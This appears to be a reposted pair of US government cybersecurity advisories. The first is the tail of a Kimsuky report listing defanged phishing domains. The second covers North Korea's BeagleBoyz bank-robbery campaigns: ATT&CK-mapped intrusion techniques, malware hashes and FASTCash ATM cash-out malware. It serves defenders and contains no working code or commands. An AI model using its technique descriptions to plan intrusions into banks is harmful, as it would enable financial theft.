There was no indication that the actor destroyed computers during the observed exfiltrations, suggesting Kimsuky’s intention is to steal information, not to disrupt computer networks. Kimsuky’s preferred method for sending or receiving exfiltrated information is through email, with their malware on the victim machine encrypting the data before sending it to a C2 server (Archive Collected Data [T1560]).  Kimsuky also sets up auto-forward rules within a victim’s email account (Email Collection: Email Forwarding Rule [T1114.003]).

Kimsuky also uses an RC4 key generated as an MD5 hash or a randomly generated 117-bytes buffer to exfiltrate stolen data. The data is sent RSA-encrypted (Encrypted Channel: Symmetric Cryptography [T1573.001]). Kimsuky’s malware constructs an 1120-bit public key and uses it to encrypt the 117-bytes buffer. The resulting data file is saved in C:Program FilesCommon FilesSystemOle DB (Data Staged: Local Data Staging [T1074.001]).[60]

Indicators of Compromise

Kimsuky has used the domains listed in table 1 to carry out its objectives:

For a downloadable copy of IOCs, see AA20-301A.stix.

Table 1: Domains used by Kimsuky

login.bignaver[.]com

nytimes.onekma[.]com

webuserinfo[.]com

member.navier.pe[.]hu

nid.naver.onektx[.]com

pro-navor[.]com

cloudnaver[.]com

read.tongilmoney[.]com

naver[.]pw

resetprofile[.]com

nid.naver.unicrefia[.]com

daurn[.]org

servicenidnaver[.]com

mail.unifsc[[.]com

naver.com[.]de

account.daurn.pe[.]hu

member.daum.unikortv[.]com

ns.onekorea[.]me

login.daum.unikortv[.]com

securetymail[.]com

riaver[.]site

account.daum.unikortv[.]com

help-navers[.]com

mailsnaver[.]com

daum.unikortv[.]com

beyondparallel.sslport[.]work

cloudmail[.]cloud
member.daum.uniex[.]kr

comment.poulsen[.]work

helpnaver[.]com

jonga[.]ml

impression.poulsen[.]work

view-naver[.]com

myaccounts.gmail.kr-infos[.]com

statement.poulsen[.]work

view-hanmail[.]net

naver.hol[.]es

demand.poulsen[.]work

login.daum.net-accounts[.]info

dept-dr.lab.hol[.]es

sankei.sslport[.]work

read-hanmail[.]net

Daurn.pe[.]hu

sts.desk-top[.]work

net.tm[.]ro

Bigfile.pe[.]hu

hogy.desk-top[.]work

daum.net[.]pl

Cdaum.pe[.]hu

kooo[.]gq

usernaver[.]com

eastsea.or[.]kr

tiosuaking[.]com

naver.com[.]ec

myaccount.nkaac[.]net

help.unikoreas[.]kr

naver.com[.]mx

naver.koreagov[.]com

resultview[.]com

naver.com[.]se

naver.onegov[.]com

account.daum.unikftc[.]kr

naver.com[.]cm

member-authorize[.]com

ww-naver[.]com

nid.naver.com[.]se

naver.unibok[.]kr

vilene.desk-top[.]work

csnaver[.]com

nid.naver.unibok[.]kr

amberalexander.ghtdev[.]com

nidnaver[.]email

read-naver[.]com

nidnaver[.]net

cooper[.]center

dubai-1[.]com

coinone.co[.]in

nidlogin.naver.corper[.]be

amberalexander.ghtdev[.]com

naver.com[.]pl

nid.naver.corper[.]be

gloole[.]net

naver[.]cx

naverdns[.]co

smtper[.]org

smtper[.]cz

naver.co[.]in

login.daum.kcrct[.]ml

myetherwallet.com[.]mx

downloadman06[.]com

login.outlook.kcrct[.]ml

myetherwallet.co[.]in

loadmanager07[.]com

top.naver.onekda[.]com

com-download[.]work

com-option[.]work

com-sslnet[.]work

com-vps[.]work

com-ssl[.]work

desk-top[.]work

intemet[.]work

jp-ssl[.]work

org-vip[.]work

sslport[.]work

sslserver[.]work

ssltop[.]work

taplist[.]work

vpstop[.]work

webmain[.]work

preview.manage.org-view[.]work

intranet.ohchr.account-protect[.]work

 

Table 2: Redacted domains used by Kimsuky

[REDACTED]/home/dwn[.]php?van=101

[REDACTED]/home/dwn[.]php?v%20an=101

[REDACTED]/home/dwn[.]php?van=102

[REDACTED]/home/up[.]php?id=NQDPDE

[REDACTED]/test/Update[.]php?wShell=201

 

To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch (CyWatch) at (855) 292-3937 or by e-mail at [email protected]. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. To request incident response resources or technical assistance related to these threats, contact CISA at [email protected].

 

DISCLAIMER

 

This information is provided “as is” for informational purposes only. The United States Government does not provide any warranties of any kind regarding this information. In no event shall the United States Government or its contractors or subcontractors be liable for any damages, including but not limited to, direct, indirect, special or consequential damages, arising out of, resulting from, or in any way connected with this information, whether or not based upon warranty, contract, tort, or otherwise, whether or not arising out of negligence, and whether or not injury was sustained from, or arose out of the results of, or reliance upon the information.

The United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government.

Source…

FASTCash 2.0: North Korea’s BeagleBoyz Robbing Banks

/in


North Korea’s intelligence apparatus controls a hacking team dedicated to robbing banks through remote internet access. To differentiate methods from other North Korean malicious cyber activity, the U.S. Government refers to this team as BeagleBoyz, who represent a subset of HIDDEN COBRA activity. The BeagleBoyz overlap to varying degrees with groups tracked by the cybersecurity industry as Lazarus, Advanced Persistent Threat 38 (APT38), Bluenoroff, and Stardust Chollima and are responsible for the FASTCash ATM cash outs reported in October 2018, fraudulent abuse of compromised bank-operated SWIFT system endpoints since at least 2015, and lucrative cryptocurrency thefts. This illicit behavior has been identified by the United Nations (UN) DPRK Panel of Experts as evasion of UN Security Council resolutions, as it generates substantial revenue for North Korea. North Korea can use these funds for its UN-prohibited nuclear weapons and ballistic missile programs. Additionally, this activity poses significant operational risk to the Financial Services sector and erodes the integrity of the financial system.

The BeagleBoyz’s bank robberies pose severe operational risk for individual firms beyond reputational harm and financial loss from theft and recovery costs. The BeagleBoyz have attempted to steal nearly $2 billion since at least 2015, according to public estimates. Equally concerning, these malicious actors have manipulated and, at times, rendered inoperable, critical computer systems at banks and other financial institutions.  

  • In 2018, a bank in Africa could not resume normal ATM or point of sale services for its customers for almost two months following an attempted FASTCash incident.
  • The BeagleBoyz often put destructive anti-forensic tools onto computer networks of victim institutions. Additionally, in 2018, they deployed wiper malware against a bank in Chile that crashed thousands of computers and servers to distract from efforts to send fraudulent messages from the bank’s compromised SWIFT terminal.

North Korea’s widespread international bank robbery scheme that exploits critical banking systems may erode confidence in those systems and presents risks to financial institutions across the world. Any BeagleBoyz robbery directed at one bank implicates many other financial services firms in both the theft and the flow of illicit funds back to North Korea. BeagleBoyz activity fits a known North Korean pattern of abusing the international financial system for profit.

  • Fraudulent ATM cash outs have affected upwards of 30 countries in a single incident. The conspirators have withdrawn cash from ATM machines operated by various unwitting banks in multiple countries, including in the United States.
  • The BeagleBoyz also use unwitting banks, including banks in the United States, for their SWIFT fraud scheme. These banks are custodians of accounts belonging to victim banks or unknowingly serve as a pass-through for the fraud. Most infamously, the BeagleBoyz stole $81 million from the Bank of Bangladesh in 2016. The Federal Reserve Bank of New York stopped the remainder of this attempted $1 billion theft after detecting anomalies in the transfer instructions they had received.

FASTCash Update

North Korea’s BeagleBoyz are responsible for the sophisticated cyber-enabled ATM cash-out campaigns identified publicly as “FASTCash” in October 2018. Since 2016, the BeagleBoyz have perpetrated the FASTCash scheme, targeting banks’ retail payment system infrastructure (i.e., switch application servers processing International Standards Organization [ISO] 8583 messages, which is the standard for financial transaction messaging).

Since the publication of the in October 2018, there have been two particularly significant developments in the campaign: (1) the capability to conduct the FASTCash scheme against banks hosting their switch applications on Windows servers, and (2) an expansion of the FASTCash campaign to target interbank payment processors.

  • In October 2018, the U.S. Government identified malware used in the FASTCash scheme that has the capability to manipulate AIX servers running a bank’s switch application to intercept financial request messages and reply with fraudulent, but legitimate-looking, affirmative response messages to enable extensive ATM cash outs. The U.S. Government has since identified functionally equivalent malware for the Windows operating system. Please see the Technical Analysis section below for more information about the ISO 8583 malware for Windows.
  • The BeagleBoyz initially targeted switch applications at individual banks with FASTCash malware but, more recently, have targeted at least two regional interbank payment processors. This suggests the BeagleBoyz are exploring upstream opportunities in the payments ecosystem.

For more information about FASTCash, please see https://www.us-cert.gov/ncas/alerts/TA18-275A.

BEAGLEBOYZ Profile

The BeagleBoyz, an element of the North Korean government’s Reconnaissance General Bureau, have likely been active since at least 2014. As opposed to typical cybercrime, the group likely conducts well-planned, disciplined, and methodical cyber operations more akin to careful espionage activities. Their malicious cyber operations have netted hundreds of millions of U.S. dollars and are likely a major source of funding for the North Korean regime. The group has always used a calculated approach, which allows them to sharpen their tactics, techniques, and procedures while evading detection. Over time, their operations have become increasingly complex and destructive. The tools and implants employed by this group are consistently complex and demonstrate a strong focus on effectiveness and operational security.

Community Identifiers

The BeagleBoyz overlap to varying degrees with groups tracked by the cybersecurity industry as: APT38 (FireEye), Bluenoroff (Kaspersky), Lazarus Group (ESTSecurity), and Stardust Chollima (CrowdStrike).

Targeted Nations

The BeagleBoyz likely have targeted financial institutions in the following nations from 2015 through 2020: Argentina, Brazil, Bangladesh, Bosnia and Herzegovina, Bulgaria, Chile, Costa Rica, Ecuador, Ghana, India, Indonesia, Japan, Jordan, Kenya, Kuwait, Malaysia, Malta, Mexico, Mozambique, Nepal, Nicaragua, Nigeria, Pakistan, Panama, Peru, Philippines, Singapore, South Africa, South Korea, Spain, Taiwan, Tanzania, Togo, Turkey, Uganda, Uruguay, Vietnam, Zambia (figure 1).

Figure 1: Nations probably targeted by BeagleBoyz since 2015

Anatomy of a BeagleBoyz Bank Heist

Figure 2 provides a graphical depiction of a BeagleBoyz bank heist. The next section describes in detail the end-to-end actions the BeagleBoyz take to rob financial institutions with a malicious cyber operation.

Figure 2: BeagleBoyz Bank Heist overview

Technical Analysis

The BeagleBoyz use a variety of tools and techniques to gain access to a financial institution’s network, learn the topology to discover key systems, and monetize their access. The technical analysis below represents an amalgamation of multiple known incidents, rather than details of a single operation. These findings are presented to highlight the group’s ability to tailor their techniques to different targets and to adapt their methods over time. Consequently, there is a need for layered mitigations to effectively defend against this activity, as relying solely on network signature detection will not sufficiently protect against North Korea’s BeagleBoyz.

Initial Access

The BeagleBoyz have used a variety of techniques, such as spearphishing and watering holes, to enable initial access into targeted financial institutions. Towards the end of 2018 through 2019 and in early 2020, the BeagleBoyz demonstrated the use of social engineering tactics by carrying out job-application themed phishing attacks using the following publicly available malicious files.

MD5: b484b0dff093f358897486b58266d069

MD5: f34b72471a205c4eee5221ab9a349c55

MD5: 4c26b2d0e5cd3bfe0a3d07c4b85909a4

MD5: 52ec074d8cb8243976963674dd40ffe7

MD5: d1d779314250fab284fd348888c2f955

MD5: cf733e719e9677ebfbc84a3ab08dd0dc

MD5: 01d397df2a1cf1d4c8e3615b7064856c

The BeagleBoyz may also be working with or contracting out to criminal hacking groups, like TA505, for initial access development. The third party typically uses commodity malware to establish initial access on a victim’s network and then turns over the access to the BeagleBoyz for follow-on exploitation, which may not occur until months later.

The BeagleBoyz have also used the following techniques to gain an initial foothold on a targeted computer network (Initial Access [TA0001]).

  • Email an attachment with malware to a specific individual, company, or industry (Phishing: Spearphishing Attachment [T1566.001])
  • Compromise a website visited by users in specific communities, industries, or regions (Drive-by Compromise [T1189])
  • Exploit a weakness (a bug, glitch, or design vulnerability) in an internet-facing computer system (such as a database or web server) (Exploit Public Facing Application [T1190])
  • Steal the credentials of a specific user or service account to bypass access controls and gain increased privileges (Valid Accounts [T1078])
  • Breach organizations that have access to the intended victim’s organization and exploit their trusted relationship (Trusted Relationship [T1199])
  • Use remote services to initially access and persist within a victim’s network (External Remote Services [T1133])

Execution

The BeagleBoyz selectively exploit victim computer systems after initially compromising a computer connected to a financial institution’s corporate network. After gaining initial access to a financial institution’s corporate network, the BeagleBoyz are selective in which victim systems they further exploit. The BeagleBoyz use a variety of techniques to run their code on local and remote victim systems [Execution [TA0002]).

  • Use command-line interfaces to interact with systems and execute other software (Command and Scripting Interpreter [T1059])
  • Use scripts (e.g., VBScript and PowerShell) to speed up operational tasks, reduce the time required to gain access to critical resources, and bypass process monitoring mechanisms by directly interacting with the operating system (OS) at an Application Programming Interface (API) level instead of calling other programs (Command and Scripting Interpreter: PowerShell [T1059.001], Command and Scripting Interpreter: Visual Basic [T1059.005])
  • Rely upon specific user actions, such as opening a malicious email attachment (User Execution [T1204])
  • Exploit software vulnerabilities to execute code on a system (Exploitation for Client Execution [T1203])
  • Create new services or modify existing services to execute executables, commands, or scripts (System Services: Service Execution [T1569.002])
  • Employ the Windows module loader to load Dynamic Link Libraries (DLLs) from arbitrary local paths or arbitrary Universal Naming Convention (UNC) network paths and execute arbitrary code on a system (Shared Modules [T1129])
  • Use the Windows API to execute arbitrary code on the victim’s system (Native API [T1106])
  • Use a system’s graphical user interface (GUI) to search for information and execute files (Remote Services [T1021])
  • Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence, conduct remote execution for lateral movement, gain SYSTEM privileges for privilege escalation, or run a process under the context of a specified account (Scheduled Task/Job [T1053])
  • Abuse compiled Hypertext Markup Language (HTML) files (.chm), commonly distributed as part of the Microsoft HTML Help system, to conceal malicious code (Signed Binary Proxy Execution: Compiled HTML File [T1218.001])
  • Abuse Windows rundll32.exe to execute binaries, scripts, and Control Panel Item files (.CPL) and execute code via proxy to avoid triggering security tools (Signed Binary Proxy Execution: Rundl32 [T1218.001])
  • Exploit cron in Linux and launchd in macOS systems to create pre-scheduled and periodic background jobs (Scheduled Task/Job: Cron [T1053.003], Scheduled Task/Job: Launchd [T1053.004])

Persistence

The BeagleBoyz use many techniques to maintain access on compromised networks through system restarts, changed credentials, and other interruptions that could affect their access (Persistence [TA0003]).

  • Add an entry to the “run keys” in the Registry or an executable to the startup folder to execute malware as the user logs in under the context of the user’s associated permissions levels (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder [T1547.001])
  • Install a new service that can be configured to execute at startup using utilities to interact with services or by directly modifying the Registry (Create or Modify System Process: Windows Service [T1543.003])
  • Compromise an openly accessible web server with a web script (known as web shell) to use the web server as a gateway into a network and to serve as redundant access or persistence mechanism (Server Software Component: Web Shell [T1505.003])
  • Manipulate accounts (e.g., modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed) to maintain access to credentials and certain permission levels within an environment (Account Manipulation [T1098])
  • Steal the credentials of a specific user or service account to bypass access controls and retain access to remote systems and externally available services (Valid Accounts [T1078])
  • Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence, conduct remote execution for lateral movement, gain SYSTEM privileges for privilege escalation, or run a process under the context of a specified account (Scheduled Task/Job [T1053])
  • Abuse the Windows DLLs search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence (Hijack Execution Flow: DLL Search Order Hijacking [T1056.004])
  • Exploit hooking to load and execute malicious code within the context of another process to mask the execution, allow access to the process’s memory, and, possibly, gain elevated privileges (Input Capture: Credential API Hooking [T1574.001])
  • Use remote services to persist within a victim’s network (External Remote Services [T1133])

Privilege Escalation

The BeagleBoyz often seek access to financial institutions’ systems that have tiered user and system accounts with customized privileges. The BeagleBoyz must overcome these restrictions to access necessary systems, monitor normal user behavior, and install and execute additional malicious tools. To do so, the BeagleBoyz have used the following techniques to gain higher-level permissions on a system or network (Privilege Escalation [TA0004]).

  • Inject code into processes to evade process-based defenses and elevate privileges (Process Injection [T1055])
  • Install a new service that can be configured to execute at startup using utilities to interact with services or by directly modifying the Registry (Create or Modify System Process: Windows Service [T1543.003])
  • Compromise an openly accessible web server with web shell to use the web server as a gateway into a network (Server Software Component: Web Shell [T1505.003])
  • Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence, conduct remote execution as part of lateral movement, gain SYSTEM privileges for privilege escalation, or run a process under the context of a specified account (Scheduled Task/Job [T1053])
  • Steal the credentials of a specific user or service account to bypass access controls and grant increased privileges (Valid Accounts [T1078])
  • Exploit hooking to load and execute malicious code within the context of another process to mask the execution, allow access to the process’s memory, and, possibly, gain elevated privileges (Input Capture: Credential API Hooking [T1574.001])
  • Perform Sudo (sometimes referred to as “super user do”) caching or use the Soudoers file to elevate privileges in Linux and macOS systems (Abuse Elevation Control Mechanism: Sudo and Sudo Caching [T1548.003])
  • Execute malicious payloads by hijacking the search order used to load DLLs (Hijack Execution Flow: DLL Search Order Hijacking [T1574.001])

Defense Evasion

Throughout their exploitation of a financial institution’s computer network, the BeagleBoyz have used different techniques to avoid detection by OS security features, system and network security software, and system audits (Defense Evasion [TA0005]).

  • Exploit code signing certificates to masquerade malware and tools as legitimate binaries and bypass security policies that allow only signed binaries to execute on a system (Subvert Trust Controls Signing [T1553.002])
  • Remove malware, tools, or other non-native files dropped or created throughout an intrusion to reduce their footprint or as part of the post-intrusion cleanup process (Indicator Removal on Host: File Deletion [T1070.004])
  • Inject code into processes to evade process-based defenses (Process Injection [T1055])
  • Use scripts (such as VBScript and PowerShell) to bypass process monitoring mechanisms by directly interacting with the OS at an API level instead of calling other programs (Command and Scripting Interpreter: PowerShell [T1059.001], Command and Scripting Interpreter: Visual Basic [T1059.005])
  • Attempt to make an executable or file challenging to discover or analyze by encrypting, encoding, or obfuscating its contents on the system or in transit (Obfuscated Files or Information [T1027])
  • Use external previously compromised web services to relay commands to a victim system (Web Service [T1102])
  • Use software packing to change the file signature, bypass signature-based detection, and decompress the executable code in memory (Unsecured Credentials: Private Keys [T1552.004])
  • Use obfuscated files or information to hide intrusion artifacts (Deobfuscate/Decode Files or Information [T1140])
  • Modify the data timestamps (the modify, access, create, and change times fields) to mimic files that are in the same folder, making them appear inconspicuous to forensic analysts or file analysis tools (Indicator Removal on Host: Remove Timestamp [T1070.006])
  • Abuse Windows utilities to implement arbitrary execution commands and subvert detection and mitigation controls (such as Group Policy) that limit or prevent the usage of cmd.exe or file extensions commonly associated with malicious payloads (Indirect Command Execution [T1202])
  • Use various methods to prevent their commands from appearing in logs and clear command history to remove activity traces (Indicator Removal on Host: Clear Command History [T1070.003])
  • Disable security tools to avoid possible detection of tools and events (Impair Defenses: Disable or Modify Tools [T1562.001])
  • Steal the credentials of a specific user or service account to bypass access controls and grant increased privileges (Valid Accounts [T1078])
  • Delete or alter generated artifacts on a host system, including logs and potentially captured files, to remove traces of activity (Indicator Removal on Host: File Deletion [T1070.004])
  • Abuse compiled HTML files (.chm), commonly distributed as part of the Microsoft HTML Help system, to conceal malicious code (Signed Binary Proxy Execution: Compiled HTML File [T1218.001])
  • Prepend a space to all their terminal commands to operate without leaving traces in the HISTCONTROL environment, which is configured to ignore commands that start with a space (Impair Defenses: HISTCONTROL [T1562.003])
  • Modify malware so it has a different signature and re-use it in cases when the group determines it was quarantined (Obfuscated Files or Information: Indicator Removal from Tools [T1027.005])
  • Attempt to block indicators or events typically captured by sensors from being gathered and analyzed (Impair Defenses: Indicator Blocking [T1562.006])
  • Use the Windows DLLs search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence (Hijack Execution Flow: DLL Search Order Hijacking [T1574.001])
  • Manipulate or abuse the attributes or location of an executable (masquerading) to better blend in with the environment and increase the chances of deceiving a security analyst or product (Masquerading [T1036])
  • Exploit rootkits to hide programs, files, network connections, services, drivers, and other system components (Rootkit [T1014])
  • Abuse the Windows rundll32.exe to execute binaries, scripts, and .CPL files, and execute code via proxy to avoid triggering security tools (Signed Binary Proxy Execution: Rundl32 [T1218.001])

Credential Access

The BeagleBoyz may use malware like ECCENTRICBANDWAGON to log key strokes and take screen captures. The U.S. Government has identified some ECCENTRICBANDWAGON samples that have the ability to RC4 encrypt logged data, but the tool has no network functionality. The implant uses specific formatting for logged data and saves the file locally; another tool obtains the logged data. The implant also contains no mechanism for persistence or self-loading and expects a specific configuration file to be present on the system. A full technical report for ECCENTRICBANDWAGON is available at https://us-cert.cisa.gov/northkorea.

The BeagleBoyz may not always need to use custom keyloggers like ECCENTRICBANDWAGON or other tools to obtain credentials from a compromised system. Depending on the victim’s environment, the BeagleBoyz have used the following techniques to steal credentials (Credential Access [TA0006]).

  • Capture user input, such as keylogging (the most prevalent type of input capture), to obtain credentials for valid accounts and information collection (Input Capture [T1056])
  • Obtain account login and password information, generally in the form of a hash or a clear text password, from the operating system and software (OS Credential Dumping [T1056])
  • Gather private keys from compromised systems to authenticate to remote services or decrypt other collected files (Unsecured Credentials: Private Keys [T1552.004])
  • Manipulate default, domain, local, and cloud accounts to maintain access to credentials and certain permission levels within an environment (Account Manipulation [T1098])
  • Abuse hooking to load and execute malicious code within the context of another process to mask the execution, allow access to the process’s memory, and, possibly, gain elevated privileges (Input Capture: Credential API Hooking [T1056.004])
  • Use brute force techniques to attempt account access when passwords are unknown or when password hashes are unavailable (Brute Force [T1110])

Discovery

Once inside a financial institution’s network, the BeagleBoyz appear to seek two specific systems—the SWIFT terminal and the server hosting the institution’s payment switch application. As they progress through a network, they learn about the systems they have accessed in order to map the network and gain access to the two goal systems. To do so, the BeagleBoyz have used the following techniques to gain knowledge about the systems and internal network (Discovery [TA0007]).

  • Attempt to get detailed information about the operating system and hardware, such as version, patches, hotfixes, service packs, and architecture (System Information Discovery [T1082])
  • Enumerate files and directories or search in specific locations of a host or network share for particular information within a file system (File and Directory Discovery [T1083])
  • Get a list of security software, configurations, defensive tools, and sensors installed on the system (Software Discovery: Security Software Discovery [T1518.001])
  • Procure information about running processes on a system to understand standard software running on network systems (Process Discovery [T1057])
  • Identify primary users, currently logged in users, sets of users that commonly use a system, or active or inactive users (System Owner/User Discovery [T1033])
  • Enumerate browser bookmarks to learn more about compromised hosts, reveal personal information about users, and expose details about internal network resources (Browser Bookmark Discovery [T1217])
  • Look for information on network configuration and system settings on compromised systems, or perform remote system discovery (System Network Configuration Discovery [T1016])
  • Interact with the Windows Registry to gather information about the system, configuration, and installed software (Query Registry [T1012])
  • Get a list of open application windows to learn how the system is used or give context to data collected (Application Window Discovery [T1010])
  • Attempt to get a listing of local system or domain accounts in the compromised system (Account Discovery [T1087])
  • Obtain a list of network connections to and from the compromised system or remote system by querying for information over the network (System Network Connections Discovery [T1049])

Lateral Movement

To access a compromised financial institution’s SWIFT terminal and the server hosting the institution’s payment switch application, the BeagleBoyz leverage harvested credentials and take advantage of the accessibility of these critical systems from other systems in the institution’s corporate network. Specifically, the BeagleBoyz have been known to create firewall exemptions on specific ports, including ports 443, 6443, 8443, and 9443. Depending on the configuration of compromised systems and the security environment of the victim’s computer network, the BeagleBoyz have used the following techniques to enter and control remote systems on a compromised network (Lateral Movement [TA0008]).

  • Copy files from one system to another to stage adversary tools or other files throughout an operation (Ingress Tool Transfer [T1105])
  • Use Remote Desktop Protocol (RDP) to log into an interactive session with a system desktop GUI on a remote system (Remote Services: Remote Desktop Protocol [T1021.001])
  • Employ hidden network shares, in conjunction with administrator-level valid accounts, to remotely access a networked system over Server Message Block (SMB) in order to interact with systems using remote procedure calls (RPCs), transfer files, and run transferred binaries through remote execution (Remote Services: SMB/Windows Admin Shares [T1021.002])
  • Exploit valid accounts to log into a service specifically designed to accept remote connections and perform actions as the logged-on user (Remote Services [T1021])

Collection

Depending on various environmental attributes the BeagleBoyz encounter during their exploitation, they may deploy a variety of reconnaissance tools or use commonly available administrative tools for malicious purposes.

The BeagleBoyz, like other sophisticated cyber actors, also appear to use resident, legitimate administrative tools for reconnaissance purposes when they are available; this is commonly known as “living off the land.” PowerShell appears to be a popular otherwise-legitimate tool the BeagleBoyz favor for reconnaissance activities. For example, the BeagleBoyz often use publicly available code from PowerShell Empire for malicious purposes.

The BeagleBoyz have used the following techniques to gather information from exploited systems (Collection [TA0009]).

  • Use automated methods, such as scripts, for collecting data (Automated Collection [T1119])
  • Capture user input to obtain credentials and collect information (Input Capture [T1056])
  • Collect local systems data from a compromised system (Data from Local System [T1005])
  • Take screen captures of the desktop (Screen Capture [T1113])
  • Collect data stored in the Windows clipboard from users (Clipboard Data [T1115])

Command and Control

The BeagleBoyz likely change tools—such as CROWDEDFLOUNDER and HOPLIGHT—over time to maintain remote access to financial institution networks and to interact with those systems.

Analysis of the following CROWDEDFLOUNDER samples was first released in October 2018 as part of the FASTCash campaign.

MD5 hash: 5cfa1c2cb430bec721063e3e2d144feb
MD5 hash: 4f67f3e4a7509af1b2b1c6180a03b3e4

The BeagleBoyz have used CROWDEDFLOUNDER as a remote access trojan (RAT) since at least 2018. The implant is designed to operate on Microsoft Windows hosts and can upload and download files, launch a remote command shell, inject into victim processes, obtain user and host information, and securely delete files. The implant may be packed with Themida to degrade or prevent effective reverse engineering or evade detection on a Windows host. It can be set to act in beacon or listening modes, depending on command line arguments or configuration specifications. The implant obfuscates network communications using a simple encoding algorithm. The listening mode of CROWDEDFLOUNDER facilitates proxies like ELECTRICFISH (discussed below) with tunneling traffic in a victim’s network.

More recently, the U.S. Government has found HOPLIGHT malware on victim systems, suggesting the BeagleBoyz are using HOPLIGHT for similar purposes. HOPLIGHT has the same basic RAT functionality as the CROWDEDFLOUNDER implant. In addition, HOPLIGHT has the capability to create fraudulent Transport Layer Security (TLS) sessions to obfuscate command and control (C2) connections, making detection and tracking of the malware’s communications difficult.

Full technical reports for CROWDEDFLOUNDER and HOPLIGHT are available at https://us-cert.cisa.gov/northkorea.

The BeagleBoyz use network proxy tunneling tools—including VIVACIOUSGIFT and ELECTRICFISH—to tunnel communications from non-internet facing systems like an ATM switch application server or a SWIFT terminal to internet-facing systems. The BeagleBoyz use these network proxy tunneling tools, likely placed at or near a victim’s network boundary, to tunnel other protocols such as RDP and Secure Shell or other implant traffic out from the internal network.

It appears that as the BeagleBoyz change proxy tools, there is some overlap between their use of older and newer malware. For example, the BeagleBoyz appear to have begun using ELECTRICFISH as they wound down use of VIVACIOUSGIFT. There has been a noticeable decline in ELECTRICFISH use following the U.S. Government’s disclosure of it in May 2019.

Full technical reports for VIVACIOUSGIFT and ELECTRICFISH are available at https://us-cert.cisa.gov/northkorea.

In addition to these tools, the BeagleBoyz have used the following techniques to communicate with financial institution victim systems under their control (Command and Control [TA0011]).

  • Employ known encryption algorithms to conceal C2 traffic (Encrypted Channel [T1573])
  • Communicate over commonly used standard application layer protocols and ports to avoid detection or detailed inspection and to blend with existing traffic (Application Layer Protocol [T1071])
  • Encode C2 information using standard data encoding systems such as the American Standard Code for Information Interchange (ASCII), Unicode, Base64, Multipurpose Internet Mail Extensions, and 8-bit Unicode Transformation Format systems or other binary-to-text and character encoding systems (Data Encoding: Standard Encoding [T1132.001])
  • Copy files between systems to stage adversary tools or other files (Ingress Transfer Tool [T1105])
  • Use external previously compromised web services to relay commands to victim systems (Web Service [T1102])
  • Employ a custom C2 protocol that mimics well-known protocols, or develop custom protocols (including raw sockets) to supplement protocols provided by another standard network stack (Non-Application Layer Protocol [T1095])
  • Obfuscate C2 communications (but not necessarily encrypt them) to hide commands and make the content less conspicuous and more challenging to discover or decipher (Data Obfuscation [T1101])
  • Employ connection proxies to direct network traffic between systems, act as an intermediary for network communications to a C2 server, or avoid direct connections to its infrastructure (Proxy [T1090])
  • Exploit legitimate desktop support and remote access software to establish an interactive C2 channel to target systems within networks (Remote Access Software [T1219])

Cryptocurrency Exchange Heists

In addition to robbing traditional financial institutions, the BeagleBoyz target cryptocurrency exchanges to steal large amounts of cryptocurrency, sometimes valued at hundreds of millions of dollars per incident. Cryptocurrency offers the BeagleBoyz an irreversible method of theft that can be converted into fiat currency because the permanent nature of cryptocurrency transfers do not allow for claw-back mechanisms. Working with U.S. Government partners, CISA, Treasury, FBI, and USCYBERCOM identified COPPERHEDGE as the tool of choice for the BeagleBoyz to exploit cryptocurrency exchanges. COPPERHEDGE is a full-featured remote access tool capable of running arbitrary commands, performing system reconnaissance, and exfiltrating data. Full technical analysis of COPPERHEDGE is available at https://us-cert.cisa.gov/northkorea.

Exfiltration

During a cyber operation, the BeagleBoyz need to exfiltrate a variety of data from compromised systems. In addition to the C2 tools noted that have built-in exfiltration features, such as CROWDEDFLOUNDER and HOPLIGHT, the BeagleBoyz use the following techniques to steal data from a network (Exfiltration [TA0010]).

  • Compress and encrypt collected data before exfiltration to minimize the amount of data sent over the web and make it portable, less conspicuous, and less detectable (Archive Collected Data [T1560])
  • Steal collected data via scripts (although this may require other exfiltration techniques) (Automated Exfiltration [T1020])
  • Encode data using the same protocol as the C2 channel and exfiltrate it over the C2 channel (Exfiltration Over C2 Channel [T1041])

Impact

The U.S. Government has observed the BeagleBoyz successfully monetize illicit access to financial institutions’ SWIFT terminals to enable wire fraud and gain access to the institutions’ payment switch application servers, which allowed fraudulent ATM cash outs. After gaining access to either one or both of these operationally critical systems, the BeagleBoyz monitor the systems to learn about their configurations and legitimate use patterns, and then they deploy bespoke tools to facilitate illicit monetization.

The cybersecurity community and Financial Services sector have released substantial information on the BeagleBoyz manipulation of compromised SWIFT terminals, describing their ability to monitor these systems, send fraudulent messages, and attempt to hide the fraudulent activity from detection. The discussion below focuses on the custom tools used to manipulate payment switch applications for ATM cash outs.

The BeagleBoyz use FASTCash malware to intercept financial request messages and reply with fraudulent but legitimate-looking affirmative response messages in the ISO 8583 format. The BeagleBoyz have functionally equivalent FASTCash malware for both UNIX and Windows that they deploy depending on the operating system running on the server hosting the bank’s payment switch application.

FASTCash for UNIX is composed of AIX executable files designed to inject code and libraries into a currently running process. One AIX executable provides export functions, which allows an application to manipulate transactions on financial systems using the ISO 8583 international standard for financial transaction card-originated interchange messaging. The injected executables interpret financial request messages and construct fraudulent financial response messages. For more details on FASTCash for UNIX malware, please see the FASTCash report at https://www.us-cert.gov/ncas/alerts/TA18-275A.

The BeagleBoyz use FASTCash for Windows to manipulate transactions processed by a switch application running on a Windows box. FASTCash for Windows is also specific to the ISO 8583 message format. The BeagleBoyz appear to have modified publicly available source code to write parts of the tool, likely to speed development. The malware contains code probably taken from open-source repositories on the internet to create hashmaps and hook functions and to parse ISO 8583 messages.

